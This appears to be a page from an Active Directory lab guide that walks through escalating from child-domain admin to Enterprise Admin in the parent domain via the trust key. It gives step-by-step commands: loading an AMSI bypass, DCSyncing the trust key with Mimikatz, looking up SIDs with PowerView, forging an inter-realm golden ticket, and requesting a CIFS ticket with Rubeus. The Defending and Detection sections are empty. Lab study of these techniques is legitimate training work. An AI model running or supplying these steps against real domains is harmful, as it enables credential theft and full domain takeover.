# Trust key

## Attacking

### How it works

Once you gain Domain Admin privileges within the child domain its possible to get Enterprise Admin in the parent domain by generating a golden ticket in the child domain with the SID of the Enterprise Admin group.

### Tools

* [MimiKatz](https://github.com/samratashok/nishang/blob/master/Gather/Invoke-Mimikatz.ps1)
* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)

### Executing the attack

The attack is executed from the perspective of already gaining domain admin privileges. This is done in the unconstrained delegation section:

{% content-ref url="../../delegation-attacks/unconstrained-delegation" %}
[unconstrained-delegation](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/delegation-attacks/unconstrained-delegation)
{% endcontent-ref %}

1. For easy execution, login on `WS01` as the `Administrator` user with the password `Welcome01!`.
2. Start PowerShell as Administrator and load a amsi bypass and MimiKatz into memory.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F0LW6Q55SiSCGfkSQeTuO%2Fimage.png?alt=media&#x26;token=85de2159-cb8a-48d8-a229-8eb4f5631c89" alt=""></div>

3\. DCsync the trust key with MimiKatz:

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:amsterdam\bank$"'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FRyeF3v8bQqyPW4zRDJt6%2Fimage.png?alt=media&#x26;token=ca870083-38bc-4fa5-953f-31e1dff1cb5b" alt=""></div>

4\. Retrieve the SID of the enterprise Admins group, using PowerView:

```
Get-DomainGroup "Enterprise Admins" -Domain bank.local | Select-Object samaccountname, objectsid
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FYeV5FakFTCrstAVXYunX%2Fimage.png?alt=media&#x26;token=71241d2f-b1b6-493c-bcbf-c0fecd73e233" alt=""></div>

5\. Retrieve the domain SID from the child domain, using PowerView:

```
Get-DomainSid
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FjaXFAaTCORJHv8RgAMQP%2Fimage.png?alt=media&#x26;token=043b67ed-f47e-4e24-aecb-5e9883c98a74" alt=""></div>

6\. Create a TGT for the krbtgt user and save it to disk with MimiKatz:

```
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:<FQDN CHILD DOMAIN> /sid:<SID CHILD DOMAIN> /sids:<SIDS OF ENTERPRISE ADMIN GROUP OF TARGET> /rc4:<TRUST KEY HASH> /service:krbtgt /target:<FQDN PARENT DOMAIN> /ticket:<PATH TO SAVE TICKET>"'
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FqRBFzrxWOgR0j25BzbcT%2Fimage.png?alt=media\&token=b44a8bd8-33ab-40aa-89bd-10621c217dd3)

7\. Create a TGS for the CIFS service with Rubeus.exe using the created TGT:

```
.\Rubeus.exe asktgs /ticket:trustkey.kirbi /service:CIFS/dc01.bank.local /dc:dc01.bank.local /ptt
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FBlO197X9LjXnvQMjuBUK%2Fimage.png?alt=media\&token=1920dfbe-eb2a-496f-ba32-00ec143a2e27)

List the tickets:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FI3mQThfbvz8YtLWNqRIP%2Fimage.png?alt=media&#x26;token=d30d2569-265b-40d0-9785-20b8166d473a" alt=""></div>

## Defending

### Detection

## References
